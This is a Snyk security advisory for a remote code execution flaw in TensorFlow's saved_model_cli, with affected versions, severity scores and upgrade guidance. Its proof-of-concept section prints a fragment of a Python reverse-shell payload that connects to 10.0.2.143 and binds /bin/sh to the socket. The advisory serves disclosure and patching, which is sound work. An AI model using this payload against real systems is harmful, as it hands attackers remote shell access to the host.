Remote Code Execution (RCE) Affecting tensorflow/tensorflow package, versions [,2.6.4) [2.7.0,2.7.2) [2.8.0,2.8.1) [2.9.0rc0, 2.9.0)


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.07% (31st percentile)
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NVD
7.8 high

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  • Snyk ID SNYK-UNMANAGED-TENSORFLOWTENSORFLOW-2841407
  • published 22 May 2022
  • disclosed 22 May 2022
  • credit Andey Robins

How to fix?

Upgrade tensorflow/tensorflow to version 2.6.4, 2.7.2, 2.8.1, 2.9.0 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper fix of CVE-2021-41228. Exploiting this vulnerability is possible via the saved_model_cli tool and can be abused to open a reverse shell.

PoC:

subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default